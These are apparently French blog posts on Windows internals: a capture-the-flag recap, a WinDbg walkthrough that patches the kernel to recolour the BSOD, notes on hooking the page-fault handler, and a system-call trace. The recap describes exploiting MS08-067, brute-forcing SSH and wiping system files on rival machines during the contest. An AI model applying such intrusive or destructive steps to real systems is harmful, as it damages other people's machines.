Sinon, si je devais donner mon opinion sur les 3 confs que j’ai vues, je dirai qu’elles étaient à la hauteur de mes attentes et qu’elles valaient vraiment le coup d’oeil, sauf une : le Drive By Pharming. Soyons clairs : je respecte tous les conférenciers ainsi que les présentations qu’ils ont données. Mais je pense que cette conférence, bien que s’adressant à des débutants, manquait de préparation, de contenu (elle a duré 10 min) et contenait des erreurs assez flagrantes. Je reste enthousiaste à l’idée d’accueillir des confs de tous les niveaux, mais je pense toutefois que les conférenciers ne devraient pas hésiter à approfondir un peu plus leurs sujets. Enfin, pour ce qui est de la conférence sur le lockpicking, bien que je n’ai aucune expérience en la matière, j’ai vraiment adoré.

Slides

Voici les slides de mes conférences ainsi que les sources/binaires que je publie :

GoRing0 : Slides - Binaires - Sources
XeeK : Slides

Pour les autres, allez sur le site officiel ou contacter directement les conférenciers.

Challenge

Grosse nouveauté de cette année : le challenge principal est un Capture The Flag. Le principe est simple : chaque équipe possède quelques serveurs, leur but étant de les protéger et d’attaquer ceux des autres. En gros :

Règle n°1 : pas d’attaques physiques.
Règle n°2 : pas d’attaques sur le serveur du staff.
Règle n°3 : tout le reste est permis. Même le déni de service.

Pour pimenter l’affaire, aucune information n’est donnée au préalable, pas même les IP de nos propres machines. Pas de DHCP. Il nous faut alors sniffer le traffic pour nous apercevoir qu’une machine emmet en broadcast. Nous nous attribuons donc des IP statiques sur la même plage, et configurons la machine qui broadcast comme passerelle. A partir de là, nous découvrons le serveur de monitoring qui contient les résultats en temps réel su challenge avec le classement des équipes, ainsi que la liste de toutes les machines. Autant dire que Nmap a bien tourné…

On nous fait parvenir les logins/pass de notre machine Windows, mais pas ceux de celle sous Linux. Prétexte: ils sont facile à trouver. Je m’acharne donc à bruteforcer avec Hydra (en l’ayant recompilé au passage avec le support pour SSH), mais rien n’y fait. Pierz se penche sur Windows, fait tourner Metasploit, et découvre que les machines sont vulnérables au MS08_067. En quelques secondes, il roote une machine adverse et récupère les hashs à valider. Le score décolle enfin ! Décidé à faire baisser le score des autres équipes, j’exploite la vuln à mon tour et en profite supprimer le contenu de c:\Windows\system32 ainsi que boot.ini et autoexec.bat, puis je lance un reboot. Cependant, je n’avais pas prévu que Windows restaurerai ces 2 fichiers et que la machine booterait toujours. Dommage…

Pendant ce temps, sh4ka et Ivan s’acharnent sur notre Windows en remote desktop. Ivan se fait plaisir sur les crackmes fournis et les reverse rapidement. Kal0n est quant à lui sur un exploit PhpMyAdmin. Avec Sh4ka, je me penche sur le Web. Cependant, il y a un imprévu : le challenge Web prévu est inaccessible car mal configuré. Nous allons alors sur le serveur commun que HZV a laissé pour que même les non participants puissent s’entraîner. Nous trouvons rapidement une include locale, une injection SQL, une faille par authentification faible via cookies et une XSS qui n’a d’ailleurs pas été validé (non prévue à la base). Pendant ce temps, Ivan se penche sur un crackme en kernel, qui lui donne du fil à retordre mais qui fini par tomber.

Aux environs de 5h, on finit par nous donner les accès Linux. Dépités, nous constatons que le login/pass n’était en effet pas bien dur à trouver (freeman:team2). En supposant que la combinaison soit similaire sur les autres machines, nous parvenons à nous connecter chez les autres équipes. Mais nous voyons que tout a été chrooté dans tous les sens, et qu’au final n’avons accès qu’à cat, ls, cs, mv, mkdir et python. Nous découvrons plusieurs binaires suid root, dont un vulnérable à un buffer overflow. L’ASLR étant activé, l’exploitation via ret onto ret est toujours faisable mais comme nous n’avons pas gdb sur la machine distante, et qu’il commence à se faire tard (ou tôt, question de point de vue), nous préférons nous arrêter là. En plus, nous sommes une des seules équipes restantes…

Remise des prix

Vers 6h, Crashfr annonce les résultats. Nous sommes premiers ! Jamais nous n’aurions pensé gagner, car nous nous attendions à affronter Dvrasp, Fozzy et Artyc… Mais en fait, il étaient trop occupés au bar

Crashfr remet les prix aux équipes : des certifications CEH pour les 1ers, et des livres pour les deuxièmes et troisièmes. Sans oublier bien sûr les super trophées en verres, réalisés pour l’occasion. Pour ma part, comme je serai bientôt consultant chez Sysdream, je pense plutôt convertir ce CEH en LPT (Licensed Penetration Tester), une autre certification d’EC-Council. En tout cas, si j’ai particupé à cette nuit, c’était uniquement pour le fun. Comme d’habitude, la NDH est de mieux en mieux, et son ampleur augmente au fil du temps. A quand une NDH rivalisant avec le Black Hat et le Defcon ? En plus, c’était ma dernière NDH en tant que challenger, vu que l’année prochaine je ferai partie du staff et je pourrai à mon tour goûter aux joies de voir tout le monde s’arracher les cheveux sur un challenge dont je suis l’auteur

See you next year !

Tunnez votre BSOD (Blue Screen Of Death)

Emilien Girault — Thu, 30 Apr 2009 18:58:35 +0000

Tous les développeurs de drivers et les reversers kernel vous le diront : quand on touche au noyau Windows d’un peu trop près, on a le droit à un écran bleu de la mort, ou BSOD (Blue Screen Of Death). C’est justement parce que je me suis pris un tas de BSOD que j’ai commencé à en avoir marre de voir des écrans bleus partout et à me poser des questions existentielles du genre : pourquoi l’écran bleu est-il bleu ? Est-ce possible de changer cela ? Oui, et je vais montrer dans cet article comment faire en ne modifiant qu’un octet en mémoire kernel. Matériel requis : une deuxième machine (une VM fait très bien l’affaire), Windbg, IDA PRO (facultatif) et quelques neurones.

Le pourquoi du BSOD

Avant de mettre les mains dans le cambouis, il est intéressant de comprendre pourquoi Windows affiche un écran bleu. Cet écran maléfique est affiché lorsque quelque chose d’assez sérieux s’est produit au niveau du noyau. Cela peut être aussi bien matériel que logiciel (parfois les deux). Par exemple : un driver tente d’accéder à une zone mémoire non existante ou protégée. Si vous essayez de faire cela avec un programme en en mode utilisateur, celui-ci crashera en affichant un message d’erreur Windows (ou une segmentation fault sous Linux). En mode noyau, l’équivalent est le BSOD sous Windows (Kernel Panic sous Linux) et vous n’avez pas d’autre choix que de rebooter votre bécane. Eh oui, on ne plaisante pas avec le kernel. Voici un exemple de driver qui provoquera un écran bleu à coup sûr :

* (unsigned int *) 0 = 0;

Ce code essaye d’écrire 0 à l’adresse mémoire virtuelle 0, qui est invalide. Par conséquent, le processeur déclenchera un défaut de page, ce qui provoque un écran bleu puisque son descripteur est invalide. Il y a plein d’autres manières de provoquer un écran bleu, mais cela dépasse le cadre de cet article.

Reversing de la routine du BSOD

Le code de la routine affichant le BSOD se situe dans le kernel Windows, dans ntoskrnl.exe (ou ntkrnlpa.exe si vous avez la PAE). Après avoir débuggé une machine virtuelle et provoqué un écran bleu volontairement grâce au code donné ci-dessus, je m’aperçois que la VM s’est arrêtée dans la routine KeBugCheckEx. J’ouvre ntoskrnl.exe avec IDA PRO et désassemble cette routine.

public _KeBugCheckEx@20
_KeBugCheckEx@20 proc near

BugCheckCode= dword ptr  8
BugCheckParameter1= dword ptr  0Ch
BugCheckParameter2= dword ptr  10h
BugCheckParameter3= dword ptr  14h
BugCheckParameter4= dword ptr  18h

mov     edi, edi
push    ebp
mov     ebp, esp
push    0
push    [ebp+BugCheckParameter4]
push    [ebp+BugCheckParameter3]
push    [ebp+BugCheckParameter2]
push    [ebp+BugCheckParameter1]
push    [ebp+BugCheckCode]
call    _KeBugCheck2@24 ; KeBugCheck2(x,x,x,x,x,x)
pop     ebp
retn    14h
_KeBugCheckEx@20 endp

Cette fonction est très courte, elle ne fait qu’empiler des paramètres et appeler la routine KeBugCheck2. Cette dernière est par contre très longue. Comme mon but n’est pas de la reverser intégralement mais juste isoler la partie qui m’intéresse, je parcours rapidement son graphe avec IDA. Vu le nom des fonctions appelées, cette routine récupère des informations auprès des drivers sur le crash qui vient d’avoir lieu.

Couleur de fond

A peu près au milieu de la fonction, on tombe sur ce code :

call    _InbvAcquireDisplayOwnership@0 ; InbvAcquireDisplayOwnership()
call    _InbvResetDisplay@0 ; InbvResetDisplay()
push    4
push    1DFh
mov     ebx, 27Fh
push    ebx
push    esi
push    esi
call    _InbvSolidColorFill@20 ; InbvSolidColorFill(x,x,x,x,x)

Apparemment, on a affaire à des appels de fonction gérant l’affichage. On commence par faire un reset de l’affichage, puis on appelle la routine InvbSolidColorFill. Les paramètres qui lui sont passés sont les suivants (je rappelle que l’ordre est inversé, selon la convention d’appel utilisé) :

deux arguments égaux à 0 (si on cherche un peu plus haut on trouve un xor esi,esi donc esi = 0)
0x27F = 639
0x1DF = 479
4

Etant astucieux, on se rend compte que 639 = 640 – 1 et 479 = 480 – 1. Hors, 640 x 480 correspond exactement à la résolution de l’écran bleu. Avec les deux paramètres 0 qui précèdent, ces valeurs correspondent aux bornes (gauche, haute, droite, et basse) de la zone de l’écran à remplir. La couleur de remplissage est précisée par le dernier paramètre, qui vaut 4. En cherchant un peu sur Google, on se rend compte que le code couleur utilisé par cette fonction est sur 4 bits : IBGR soit Intensity, Blue, Green and Red. 4 en décimal équivaut à 0100 en binaire, soit 1 pour le bleu et 0 pour le reste. Voilà donc pourquoi l’écran bleu est bleu !

Si on désassemble la fonction InvbSolidColorFill, on se rend compte qu’assez rapidement, celle-ci appelle la fonction VidSolidColorFill. Il s’agit d’une fonction importée par ntoskrnl.exe depuis bootvid.dll, le module chargé de la vidéo lors du boot. Son code est relativement peu clair, aussi j’ai préféré jeter un coup d’oeil aux sources de ReactOS, qui est nettement plus lisible. Pour ceux qui ne connaissent pas, il s’agit d’un projet visant à recoder Windows en Open Source. Voici le code de la fonction dans ReactOS (qui doit être très similaire dans Windows) :

VOID NTAPI
VidSolidColorFill(IN ULONG Left, IN ULONG Top,
                  IN ULONG Right, IN ULONG Bottom,
                  IN UCHAR Color)
{
    int y, x;

	for (y = Top; y <= Bottom; y++)
	{

            for (x = Left; x <= Right; x++)
            {
                //
                // Draw the pixel
                //
                VidpSetPixel(x, y, Color);
            }
	}
}

Comme vous pouvez le voir, on peut difficilement faire plus simple. Une fonction chargée de fixer la couleur d’un pixel est appelée dans une double boucle, ce qui a pour effet de remplir l’écran.

Couleur du texte

Revenons au code de KeBugCheck2. Juste après le code qui remplit l’écran, on a ceci :

push    0Fh
call    _InbvSetTextColor@4 ; InbvSetTextColor(x)

Vu le nom de la fonction, on peut se douter que celle-ci fixe la couleur du texte du BSOD. 0xF = 0b1111 = blanc. Que demander de plus ?

Patching à chaud pour changer les couleurs

Que diriez vous de personnaliser la couleur du BSOD sur votre système ? Je n’ai personnellement jamais aimé le bleu, je préfère le rouge (plus sexy pour un message d’erreur !). Quand au texte, du jaune devrait faire l’affaire…

Pour des raisons de sécurité, je vous déconseille fortement d’éditer l’exécutable de votre noyau (ntoskrnl.exe) car une erreur peut être vraiment fatale. Je préfère nettement opérer en mémoire, afin qu’un simple reboot efface les modifications. D’autre part, comme on s’apprête à débugger Windows et à le faire planter, il faut opérer sur une deuxième machine. Munissez vous d’une VM (VirtualBox pour ma part) que vous bootez en mode debug (flag /debug du boot.ini) avec Windbg lancée en parallèle sur votre machine. Pour ceux qui débutent, je vous conseille de lire cet article d’0vercl0ck qui vous expliquera comment tout configurer comme il faut. Prêt ? C’est parti !

Une fois Windows démarré, freezez le avec Ctrl+Pause sous Windbg. Commençons par localiser ou se trouve l’appel à InvbSolidColorFill dans KeBugCheck2. Sous IDA, on effectue un petit calcul d’offset pour savoir ou se trouve le push 4 par rapport au début de KeBugCheck2. Chez moi, j’ai un offset de 0x60D. Dans Windbg, je tape donc u KeBugCheck2+0x60d. Cependant, ça ne tombe pas juste ; j’atterris après ce bout de code (facile de le constater avec IDA). C’est sans doute à cause du fait que j’ai des mises à jours différentes sur ma machine et dans ma VM. Je remonte donc petit à petit et je finir par arriver sur l’instruction qui m’intéresse :

kd> u KeBugCheck2+0x5e4
nt!KeBugCheck2+0x5e4:
8053342e e8da9fffff      call    nt!InbvResetDisplay (8052d40d)
80533433 6a04            push    4
80533435 68df010000      push    1DFh
8053343a bb7f020000      mov     ebx,27Fh
8053343f 53              push    ebx
80533440 56              push    esi
80533441 56              push    esi
80533442 e84aa0ffff      call    nt!InbvSolidColorFill (8052d491)

Il suffit de patcher la valeur située à l’adresse 80533434 pour changer la couleur du BSOD ! Pour ma part, je choisis le rouge, soit 0b0001 = 1. Je tape donc ceci dans Windbg (eb = edit byte) :

kd> eb 80533434 01

Vérifions cela en désassemblant à nouveau :

kd> u KeBugCheck2+0x5e4
nt!KeBugCheck2+0x5e4:
8053342e e8da9fffff      call    nt!InbvResetDisplay (8052d40d)
80533433 6a01            push    1
80533435 68df010000      push    1DFh
8053343a bb7f020000      mov     ebx,27Fh
8053343f 53              push    ebx
80533440 56              push    esi
80533441 56              push    esi
80533442 e84aa0ffff      call    nt!InbvSolidColorFill (8052d491)

Super, ça semble avoir marché. Faisons de même avec la couleur du texte !

kd> u KeBugCheck2+0x5fd
nt!KeBugCheck2+0x5fd:
80533447 6a0f            push    0Fh
80533449 e8d1a0ffff      call    nt!InbvSetTextColor (8052d51f)

Je veux du jaune, je remplace donc le 0x0F par un 0x0B soit 0b1011 (mélange clair de vert et rouge).

kd> eb 80533448 0B
kd> u KeBugCheck2+0x5fd
nt!KeBugCheck2+0x5fd:
80533447 6a0b            push    0Bh
80533449 e8d1a0ffff      call    nt!InbvSetTextColor (8052d51f)

Nikel. Il ne reste plus qu’à provoquer un écran bleu ! Pour ce faire à partir de Windbg, c’est très simple : il suffit de mettre eip à 0. On tape juste r eip = 0 et on débloque la machine avec la commande g. Windows crashe instantanément et Windbg reprend la main. Attendez quelques secondes que les symboles se rechargent, appuyez sur Ctrl+Pause pour arrêter l’opération de diagnostique de crash, et retapez g pour voir apparaître votre beau BSOD personnalisé. En ce qui me concerne, c’est plutôt un RSOD (Red Screen Of Death) !

Red Screen Of Death

C’est ti pas mignon tout ça ? Pour ceux qui par malheur verraient leur écran s’afficher puis disparaître à cause d’un reboot instantané, refaites la manip en n’oubliant pas au préalable de désactiver les reboots sur crash système en faisant un clic droit sur le poste de travail, propriétés, avancé, paramètres de démarrage et récupération, puis décochez la case « redémarrer automatiquement ».

Conclusion

J’espère que cet article vous aura plu et que vous allez dès à présent tuner votre BSOD pour rendre jaloux vos amis. Pour ceux qui voudraient aller plus loin, sachez qu’il est également possible de modifier le texte affiché sur l’écran… Après, vous pouvez intégrer tout ça dans un driver qui se chargera d’effectuer le patching lui-même. C’est ce que fait le programme BSOD Hack (cf en bas). Et si vous en avez le courage, vous pouvez même faire un petit hook inline (detour patching) afin de rediriger un crash vers votre propre routine. J’ai entendu dire que certains avaient réussi à charger et afficher une image de bière lors d’un crash, si ça peut vous donner des idées…

Références

BSOD Hack

Problèmes liés aux interruptions

Emilien Girault — Tue, 21 Apr 2009 18:52:31 +0000

Dans le cadre de mon stage, je m’intéresse au fonctionnement des interruptions de l’architecture x86. Il s’agit d’un mécanisme complexe mais extrêmement important pour comprendre comment un système d’exploitation arrive à fonctionner. Si j’écris ce post, c’est parce que je me suis pris la tête sur des problèmes qui y sont liés… Je viens d’en trouver les causes, et je pense que cela pourra en intéresser plus d’un.

Généralités sur les interruptions

Une interruption est un événement particulier qui peuvent se produire lors de l’exécution d’un programme. A chaque type d’interruption est associé un numéro appelé vecteur d’interruption, connu du ou des processeur(s). Pour simplifier, les interruptions peuvent provenir de deux sources : le logiciel et le matériel. Les interruptions matérielles sont générées par les périphériques (clavier, souris, cartes, timers, disques durs…) et sont transmises au processeur par l’APIC (Advanced Programmable Interrupt Controller). Les interruptions logicielles peuvent être quant à elles déclenchées volontairement par une instruction (int) ou de façon accidentelle par une erreur arithmétique, logique, de protection, etc. Dans ce cas, on parle souvent d’exception et de fautes.

Généralement, les interruptions (aussi bien matérielles que logicielles) sont susceptibles de se déclencher à n’importe quel moment dans l’exécution d’un programme, et chaque processeur doit savoir comment traiter chacune d’entre elles. A chaque vecteur d’interruption on associe alors un handler d’interruption, qui est une fonction qui sera appelée automatiquement quand l’interruption sera générée. On place ces fonctions dans une table, l’IDT, pour Interrupt Descriptor Table. Il est important de noter qu’il y a une IDT par processeur, afin que chacun puisse avoir si besoin un comportement différent pour chaque interruption.

Il existe deux types d’interruptions matérielles, les masquables (les IRQ) et les non masquables (la NMI et la SMI) qu’on ne traitera pas ici en raison de leur grande particularité. Chaque interruption matérielle possède une priorité, qui est gérée par l’APIC. Pour faire simple, ce composant est relié aux périphériques par des lignes d’IRQ (Interrupt Requests) et se charge de faire le médiateur entre tous ces périphériques et le ou les processeur(s). Son rôle est en gros de transformer ces IRQ en demandes d’interruptions avec le vecteur associé. Comme plusieurs IRQ peuvent intervenir en même temps, l’APIC définit des priorités afin de transmettre les plus urgentes d’abord.

Dans certains cas, le processeur peut ne pas vouloir être dérangé par une interruption. C’est le cas par exemple lorsqu’il est en train de modifier des structures globales en mémoire. Il a alors la possibilité d’ignorer les interruptions qu’il va recevoir de deux manières. La première, que je ne détaillerai pas, est de ne masquer que celles dont la priorité est inférieure à un certain seuil (appelé IRQL sous Windows) en communiquant avec l’APIC. La deuxième est de masquer la totalité des interruptions et c’est celle que nous allons détailler.

Subtilité sur le masquage

C’est le registre EFLAGS et plus précisément son bit IF (bit 9) qui contrôle si les interruptions masquables sont activées ou non. Ce bit est modifiable par l’intermédiaire des instructions cli pour masquage et sti pour démasquage, ou bien en utilisant pushf / popf associés à des masques.

Attention, le masquage des interruptions n’affecte que les interruptions matérielles ! Les interruptions logicielles (ainsi que les interruptions NMI et SMI, très particulières) ne sont pas affectées par ces opérations. Autrement dit, vous aurez beau baisser l’IRQL ou faire un cli, une exception due à une division par zéro ou à un défaut de page pourra toujours survenir.

Problème n°1 : DbgPrint(), c’est le mal

J’ai fait tous mes tests en machine virtuelle. Comme le développement de driver n’est jamais sûr à 100% et que je voulais tout de même avoir quelque chose de fonctionnel, j’ai réalisé un petit script qui charge le driver et le décharge 100 fois de suite, en lançant en plus des programmes divers pour solliciter l’OS un maximum. Le tout étant de prouver que le driver n’explose pas à la première interruption, bien entendu.

Dans mon cas, je devais hooker l’interruption n°14 correspondant au défaut de page (page fault), en insérant du code avant de rappeler le handler par défaut de Windows. Je rappelle que cette exception (logicielle) se produit quand une page virtuelle n’est mappée à aucune adresse physique (soit parce qu’elle a été swappée sur disque, soit parce qu’elle n’existe tout simplement pas). Cela se produit quand on tente d’accéder à une page dont le descripteur PTE a son premier bit (bit P) à 0.

J’ai donc commencé par concevoir un handler minimal qui ne faisait rien à part empiler tous les registres, les dépiler puis appeler le handler de Windows, KiTrap0E. Jusqu’ici, tout fonctionne, sauf que je n’ai pas vraiment de preuve que ma routine est appelée (vu que je n’ai aucune trace).

Je me décide donc à insérer des DbgPrint() dans le code de la routine. Et là, c’est le drame : j’obtiens des traces certes, mais j’en obtiens tellement que la VM freeze ou affiche un écran bleu au bout de quelques secondes. Il faut croire que les défauts de page sont très nombreux sous Windows… Mais pourquoi ça plante maintenant et pas avant ? L’explication est liée au visualisateur de traces (j’utilise DebugView). Lorsque DbgPrint() est appelé, le message est récupéré par le noyau puis par DebugView. Je ne sais pas exactement pourquoi, mais apparemment quand il y a beaucoup de messages de récupérés, DebugView commence à provoquer des défauts de page (probablement à cause du fait qu’il se fait swapper par l’OS). Comme ces défauts de pages sont à leur tour catchés par mon handler, ils entraînent d’autres appels à DbgPrint()… Bref, une belle boucle qui finit par exploser tôt ou tard.

Au final, je renonce donc à afficher des traces, vu que cela perturbe plus le système qu’autre chose. En plus j’ai ma preuve que mon handler est appelé, vu que ça plante

Problème n°2 : sti, c’est aussi le mal

Le réel but de mon handler est de modifier une structure assez cruciale du noyau sous certaines conditions. Afin d’éviter que cette modification entraîne des problèmes de concurrence, je décide de masquer les interruptions avant le traitement (cli), et de les démasquer ensuite à l’aide de et sti. Je lance le driver. Pas de crash. Je commence à crier victoire, et au moment ou je lance mon script de déchargement, j’ai le droit à un écran bleu. Je regarde le code de déchargement, il ne fait absolument rien de méchant. Je relance, idem. Je finis par comprendre que ce n’est pas le déchargement du driver qui foire, mais juste le fait de lancer un programme, car cela provoque un défaut de page… C’est donc bien mon handler qui pose problème, mais où ?

Je supprime ma modification de variable globale, ça plante toujours. Pourtant je n’ai plus que cli et sti dans mon handler (en plus de l’appel au handler par défaut). Je retire sti et je constate que ça marche ! C’est donc cette instruction qui est responsable du plantage du driver… mais pourquoi ? En fait, il se trouve que lors des appels au handler de défaut de page, les interruptions sont déjà masquées. C’est dû au fait que l’interruption correspondant au défaut de page possède un descripteur dans l’IDT qui précise que l’IF doit être mis à 0 lors de l’appel du handler (c’est une interrupt gate, selon Intel). Ainsi, lors de l’appel au handler, l’instruction cli ne fait absolument rien (le bit IF d’EFLAGS est déjà à 0)… Le problème, c’est que sti le passe à 1, ce qui autorise les interuptions ! Si jamais le défaut de page s’est produit dans une zone critique de l’OS et qu’une interruption survient précisément à ce moment, le kernel se vautre. Cela ne se produit peut-être pas à tous les coups, mais croyez moi, ça arrive (faites le test pour vous en convaincre).

Comment patcher cela ? Ne pas masquer les interruptions dans un handler de défaut de page, puisqu’elles le sont déjà. La solution, c’est tout simplement de ne rien faire

Conclusion

Morale de l’histoire : utiliser DbgPrint() ou sti dans un handler de défaut de page est une mauvaise idée. Pour déboguer, préférez utiliser des variables globales plutôt que des fonctions à effet de bords incontrôlables. Et ne cherchez pas à masquer (et surtout à démasquer) les interruptions qui le sont déjà . J’espère que ce post vous aura épargné un long moment de galère. En tout cas, j’aurais aimé en lire un du même type plus tôt !

Plongeon dans les appels systèmes Windows

Emilien Girault — Sat, 28 Mar 2009 10:53:26 +0000

Mon stage m’a donné l’occasion d’analyser en détails comment un appel système est réalisé sous Windows. Si vous vous demandez comment un programme utilisateur (ring 3) fait pour appeler une fonction s’exécutant en mode noyau (ring 0), alors cet article est pour vous. J’y explique toutes les étapes de la chaîne en partant du début (l’appel de fonction dans un programme quelconque) pour arriver au code de l’API en mode noyau. Pour lire cet article, des bases d’assembleur sont indispensables.

Privilèges des processeurs x86

Avant d’aborder le sujet, il est nécessaire de bien comprendre une subtilité des processeurs x86 : les niveaux de privilèges. Un processeur est censé exécuter du code machine produit par un compilateur / assembleur. Le code qui s’exécute à un instant t a accès à certains privilèges qui dépendent du niveau de privilège dans lequel se trouve le processeur. Ce niveau, aussi appelé ring, ou anneau, est un entier codé sur deux bits. Il peut donc prendre 4 valeurs : 0, 1, 2, et 3. Plus ce nombre est petit, plus les privilèges sont élevés ; plus il est grand, plus ils sont restreints. Le ring 0 est appelé mode superviseur, ou kernelland,et c’est sous ce mode que tournent 99% des noyaux d’OS (Windows et Linux en font partie). Les programmes utilisateurs s’exécutent quant à eux en ring 3, appelé mode utilisateur ou userland.

Le niveau de privilège courant du processeur est appelé CPL (Current Privilege Level). En interne, le CPL est stocké dans les deux premiers bits des registres CS et SS. La règle générale est la suivante : il n’est pas possible d’exécuter des instructions nécessitant un niveau de privilège inférieur au CPL. De même, il n’est pas directement possible de demander au processeur de changer le CPL vers un niveau inférieur. On peut donc se demander : comment est-ce possible d’appeler une routine du noyau depuis un code utilisateur ? C’est là tout l’objet de cet article…

Un programme d’exemple

Afin d’analyser comment se déroule un appel système, nous allons commencer par coder un programme d’exemple en C.

#include 
#include 
#include 

int main(int argc, char *argv[])
{
    HANDLE handle;
    WIN32_FIND_DATA findData;

    handle = FindFirstFile(".", &findData);

    printf("Handle = %dn", handle);

    getchar();

    return 0;
}

Ce programme appelle l’API Windows FindFirstFile. Cette fonction prend en paramètre un nom de dossier et retourne un handle vers le premier fichier de ce dossier. Je suis d’accord : ce programme ne sert pas à grand chose, à part appeler une API Windows, mais c’est justement le but.

Tracing en userland

Pour information, j’ai réalisé tous ces tests sur un Windows XP SP3 français, avec Dev-C++ et GCC 3.4.2. Une fois le programme compilé, on peut utiliser un débogeur pour suivre l’exécution du programme. Lançons OllyDbg et observons le main() du programme :

00401290  /$ 55             PUSH EBP
00401291  |. 89E5           MOV EBP,ESP
00401293  |. 81EC 78010000  SUB ESP,178
00401299  |. 83E4 F0        AND ESP,FFFFFFF0
0040129C  |. B8 00000000    MOV EAX,0
004012A1  |. 83C0 0F        ADD EAX,0F
004012A4  |. 83C0 0F        ADD EAX,0F
004012A7  |. C1E8 04        SHR EAX,4
004012AA  |. C1E0 04        SHL EAX,4
004012AD  |. 8985 A4FEFFFF  MOV DWORD PTR SS:[EBP-15C],EAX
004012B3  |. 8B85 A4FEFFFF  MOV EAX,DWORD PTR SS:[EBP-15C]
004012B9  |. E8 82040000    CALL syscalls.00401740
004012BE  |. E8 1D010000    CALL syscalls.004013E0
004012C3  |. 8D85 A8FEFFFF  LEA EAX,DWORD PTR SS:[EBP-158]           ; |
004012C9  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
004012CD  |. C70424 0030400>MOV DWORD PTR SS:[ESP],syscalls.00403000 ; |ASCII "fg"
004012D4  |. E8 E7050000    CALL       ; FindFirstFileA
004012D9  |. 83EC 08        SUB ESP,8
004012DC  |. 8945 F4        MOV DWORD PTR SS:[EBP-C],EAX             ; |
004012DF  |. 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]             ; |
004012E2  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
004012E6  |. C70424 0330400>MOV DWORD PTR SS:[ESP],syscalls.00403003 ; |ASCII "Handle = %d"
004012ED  |. E8 4E050000    CALL                 ; printf
004012F2  |. E8 39050000    CALL                ; [getchar
004012F7  |. B8 00000000    MOV EAX,0
004012FC  |. C9             LEAVE
004012FD  . C3             RETN

Je rappelle que nous sommes à présent dans un programme utilisateur, donc en userland. Il est facile de le vérifier en regardant la valeur de CS. Chez moi, c'est 0x2B, soit 0b101011. Les deux premiers bits (poids faible) sont bien 0b11, correspondant au ring 3.

L'appel à FindFirstFile se trouve en 004012D4, après que les paramètres aient été mis sur la pile. Après avoir placé un breakpoint sur le call (F2), et lancé l'exécution (F9), le programme s'arrête dessus. On fait un step in (F7) pour suivre le call.

004018C0   $-FF25 B8504000  JMP DWORD PTR DS:[<&KERNEL32.FindFirstFileA>]

Nous nous situons à présent dans une zone appelée trampoline. Cette zone fait référence à l’IAT (Import Address Table) de l’exécutable, qui contient les adresses des fonctions importées. Pour faire le parallèle avec Linux, le trampoline est l’équivalent de la section .plt, et l’IAT joue le même rôle que la section .got. Pour plus d’informations sur ces sections je vous conseille de lire cet article.

Le jump fait référence à un pointeur situé en 004050B8, qui contient l’adresse de la fonction FindFirstFileA. On rappuie sur F7 pour suivre l’appel. On arrive alors dans la section .text de kernel32.dll, qui a été chargée à l’exécution.

7C813869 > 8BFF             MOV EDI,EDI
7C81386B   55               PUSH EBP
7C81386C   8BEC             MOV EBP,ESP
7C81386E   81EC 6C020000    SUB ESP,26C
...
7C813894   56               PUSH ESI
7C813895   56               PUSH ESI
7C813896   56               PUSH ESI
7C813897   8D8D ACFDFFFF    LEA ECX,DWORD PTR SS:[EBP-254]
7C81389D   51               PUSH ECX
7C81389E   56               PUSH ESI
7C81389F   FF70 04          PUSH DWORD PTR DS:[EAX+4]
7C8138A2   E8 66B2FFFF      CALL kernel32.FindFirstFileExW

On s’aperçoit que cette fonction en appelle une autre, FindFirstFileExW, toujours dans kernel32. Pourquoi ? Simplement parce que la plupart des fonctions internes de Windows utilisent un encodage Unicode, et non pas ASCII. Dans la convention Windows, les fonctions se terminant par un A gèrent l’ASCII, et celles en W gèrent l’Unicode. En interne, les fonctions ASCII convertissent les paramètres passés en Unicode, et appèlent les fonctions Unicode correspondantes. C’est le call que nous venons de voir. Suivons le.

7C80EB0D > 8BFF             MOV EDI,EDI
7C80EB0F   55               PUSH EBP
7C80EB10   8BEC             MOV EBP,ESP
7C80EB12   81EC CC020000    SUB ESP,2CC
...
7C80EC66   57               PUSH EDI
7C80EC67   8D85 90FDFFFF    LEA EAX,DWORD PTR SS:[EBP-270]
7C80EC6D   89B5 40FDFFFF    MOV DWORD PTR SS:[EBP-2C0],ESI
7C80EC73   8B35 1410807C    MOV ESI,DWORD PTR DS:[<&ntdll.NtOpenFile>] ; ZwOpenFile
7C80EC79   50               PUSH EAX
7C80EC7A   C785 34FDFFFF 18>MOV DWORD PTR SS:[EBP-2CC],18
7C80EC84   FFD6             CALL ESI
...
7C80ED46   FFB5 90FDFFFF    PUSH DWORD PTR SS:[EBP-270]
7C80ED4C   FF15 2812807C    CALL DWORD PTR DS:[<&ntdll.NtQueryDirectoryFile>]

On voit que cette fonction réalise plusieurs appels (ici je n’en n’ai affiché que 2 mais il y en a d’autres) dans ntdll.dll, une autre DLL chargée. Continuons notre traçing en explorant l’appel à ZwOpenFile.

7C91D580 > B8 74000000      MOV EAX,74
7C91D585   BA 0003FE7F      MOV EDX,7FFE0300
7C91D58A   FF12             CALL DWORD PTR DS:[EDX]  ; ntdll.KiFastSystemCall
7C91D58C   C2 1800          RETN 18

Transition vers le mode noyau

Nous sommes à présent dans ntdll.dll, dans la fonction ZwOpenFile exportée par la dll. Comme vous le voyez, la fonction est très courte. La première instruction place 0×74 dans EAX, qui correspond au numéro de la fonction du noyau qui va être appelée. On a ensuite un appel à une fonction nommée KiFastSystemCall. C’est elle qui va réaliser le passage en mode noyau, à l’aide des instructions suivantes :

7C91E4F0 > 8BD4             MOV EDX,ESP
7C91E4F2   0F34             SYSENTER
7C91E4F4 > C3               RETN

C’est précisément SYSENTER qui réalise la transition. Mais que fait donc cette instruction ? On ouvre le manuel Intel 2B au chapitre 4.1, instruction SYSENTER. On y apprend que cette instructionpermet d’exécuter des appels systèmes. Historiquement, les appels systèmes étaient exécutés en utilisant les interruptions logicielles, avec l’instruction INT 2E sous Windows (et INT 80 sous Linux). SYENTER étant plus rapide, elle a succédé à l’ancienne méthode, qui reste toutefois disponible pour des raisons de compatibilité.

Contrairement aux interruptions, SYSENTER n’utilise pas de table de pointeurs, mais des registres spéciaux du processeur, appelés MSR (pour Model Specific Register). Ces registres sont assez particuliers ; ils possèdent un numéro et sont accessibles en lecture et écriture via les instructions rdmsr et wrmsr. SYSENTER en utilise 3 :

IA32_SYSENTER_CS (0×174) correspond à la valeur à charger dans CS quand SYSENTER sera appelé
